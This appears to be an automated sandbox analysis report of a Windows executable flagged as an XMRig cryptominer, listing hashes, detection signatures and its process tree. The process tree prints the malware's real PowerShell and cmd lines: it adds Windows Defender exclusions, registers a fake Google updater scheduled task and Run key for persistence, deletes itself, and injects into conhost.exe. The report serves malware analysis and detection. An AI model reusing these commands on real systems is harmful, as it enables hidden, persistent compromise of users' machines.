Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
24-10-2024 20:12
241024-yyvg5asemn 1024-10-2024 20:11
241024-yygk9ssemk 1024-10-2024 20:11
241024-yygahasemj 1024-10-2024 20:11
241024-yyd55sselq 1024-10-2024 20:08
241024-yw247asdqp 1024-10-2024 20:08
241024-yw1lcssdqn 1024-10-2024 20:08
241024-ywx58ssdql 1022-08-2024 20:59
240822-zs4paaxemb 1022-08-2024 20:59
240822-zs2jxszern 1022-08-2024 20:59
240822-zsy4ssxelg 10Analysis
-
max time kernel
456s -
max time network
1794s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
22-08-2024 20:59
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240704-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240704-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240708-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240708-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240705-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240704-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240704-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240705-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240704-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240708-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240729-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240704-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240708-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 852 created 1256 852 qM5GMXBk6hJE6Y5e (22).exe 21 PID 852 created 1256 852 qM5GMXBk6hJE6Y5e (22).exe 21 PID 852 created 1256 852 qM5GMXBk6hJE6Y5e (22).exe 21 PID 852 created 1256 852 qM5GMXBk6hJE6Y5e (22).exe 21 PID 2608 created 1256 2608 updater.exe 21 PID 2608 created 1256 2608 updater.exe 21 PID 2608 created 1256 2608 updater.exe 21 PID 636 created 1256 636 conhost.exe 21 PID 2608 created 1256 2608 updater.exe 21 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral15/memory/1312-36-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-42-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-43-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-45-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-47-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral15/memory/1312-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2180 powershell.exe 1912 powershell.exe 2688 powershell.exe 1676 powershell.exe -
Deletes itself 1 IoCs
pid Process 2916 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2608 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2612 taskeng.exe -
resource yara_rule behavioral15/memory/1312-36-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-42-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-43-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-45-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-47-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral15/memory/1312-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2608 set thread context of 636 2608 updater.exe 49 PID 2608 set thread context of 1312 2608 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (22).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 796 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80e9bb1ef4f4da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2920 schtasks.exe 1184 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 852 qM5GMXBk6hJE6Y5e (22).exe 852 qM5GMXBk6hJE6Y5e (22).exe 2180 powershell.exe 852 qM5GMXBk6hJE6Y5e (22).exe 852 qM5GMXBk6hJE6Y5e (22).exe 2688 powershell.exe 852 qM5GMXBk6hJE6Y5e (22).exe 852 qM5GMXBk6hJE6Y5e (22).exe 852 qM5GMXBk6hJE6Y5e (22).exe 852 qM5GMXBk6hJE6Y5e (22).exe 2140 powershell.exe 2608 updater.exe 2608 updater.exe 1912 powershell.exe 2608 updater.exe 2608 updater.exe 1676 powershell.exe 2608 updater.exe 2608 updater.exe 2608 updater.exe 2608 updater.exe 636 conhost.exe 636 conhost.exe 2608 updater.exe 2608 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2180 powershell.exe Token: SeDebugPrivilege 2688 powershell.exe Token: SeDebugPrivilege 2140 powershell.exe Token: SeDebugPrivilege 1912 powershell.exe Token: SeDebugPrivilege 1676 powershell.exe Token: SeDebugPrivilege 2608 updater.exe Token: SeAssignPrimaryTokenPrivilege 796 WMIC.exe Token: SeIncreaseQuotaPrivilege 796 WMIC.exe Token: SeSecurityPrivilege 796 WMIC.exe Token: SeTakeOwnershipPrivilege 796 WMIC.exe Token: SeLoadDriverPrivilege 796 WMIC.exe Token: SeSystemtimePrivilege 796 WMIC.exe Token: SeBackupPrivilege 796 WMIC.exe Token: SeRestorePrivilege 796 WMIC.exe Token: SeShutdownPrivilege 796 WMIC.exe Token: SeSystemEnvironmentPrivilege 796 WMIC.exe Token: SeUndockPrivilege 796 WMIC.exe Token: SeManageVolumePrivilege 796 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 796 WMIC.exe Token: SeIncreaseQuotaPrivilege 796 WMIC.exe Token: SeSecurityPrivilege 796 WMIC.exe Token: SeTakeOwnershipPrivilege 796 WMIC.exe Token: SeLoadDriverPrivilege 796 WMIC.exe Token: SeSystemtimePrivilege 796 WMIC.exe Token: SeBackupPrivilege 796 WMIC.exe Token: SeRestorePrivilege 796 WMIC.exe Token: SeShutdownPrivilege 796 WMIC.exe Token: SeSystemEnvironmentPrivilege 796 WMIC.exe Token: SeUndockPrivilege 796 WMIC.exe Token: SeManageVolumePrivilege 796 WMIC.exe Token: SeLockMemoryPrivilege 1312 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2688 wrote to memory of 2920 2688 powershell.exe 35 PID 2688 wrote to memory of 2920 2688 powershell.exe 35 PID 2688 wrote to memory of 2920 2688 powershell.exe 35 PID 2916 wrote to memory of 992 2916 cmd.exe 40 PID 2916 wrote to memory of 992 2916 cmd.exe 40 PID 2916 wrote to memory of 992 2916 cmd.exe 40 PID 2140 wrote to memory of 2604 2140 powershell.exe 41 PID 2140 wrote to memory of 2604 2140 powershell.exe 41 PID 2140 wrote to memory of 2604 2140 powershell.exe 41 PID 2612 wrote to memory of 2608 2612 taskeng.exe 43 PID 2612 wrote to memory of 2608 2612 taskeng.exe 43 PID 2612 wrote to memory of 2608 2612 taskeng.exe 43 PID 1676 wrote to memory of 1184 1676 powershell.exe 48 PID 1676 wrote to memory of 1184 1676 powershell.exe 48 PID 1676 wrote to memory of 1184 1676 powershell.exe 48 PID 2608 wrote to memory of 636 2608 updater.exe 49 PID 328 wrote to memory of 796 328 cmd.exe 54 PID 328 wrote to memory of 796 328 cmd.exe 54 PID 328 wrote to memory of 796 328 cmd.exe 54 PID 2608 wrote to memory of 1312 2608 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1256
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (22).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (22).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:852
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2604
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (22).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1912
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1184
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:636
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:328 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:796
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1312
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C:\Windows\system32\taskeng.exetaskeng.exe {0511F050-32B1-4DAC-A7CE-D13222F14554} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:1580
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5de77dce5f8206498f81b00678b406e42
SHA1a7a0cc441ade5f1e4d2c79e51bcbeaf68d883f06
SHA256e1684405a8ba6569e0ad0f09c5476f0ba5a5ae4cd5cff1bfb54c1051e18350d0
SHA512bcd404f53d0e97a5bf880d634a83dd4f921c9f0e71a412083b5a71cbfc7325ee81500e218d2c9352033be7d7d3aaacdeebe7fdd34234b02c7fadb7bcecdee182
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6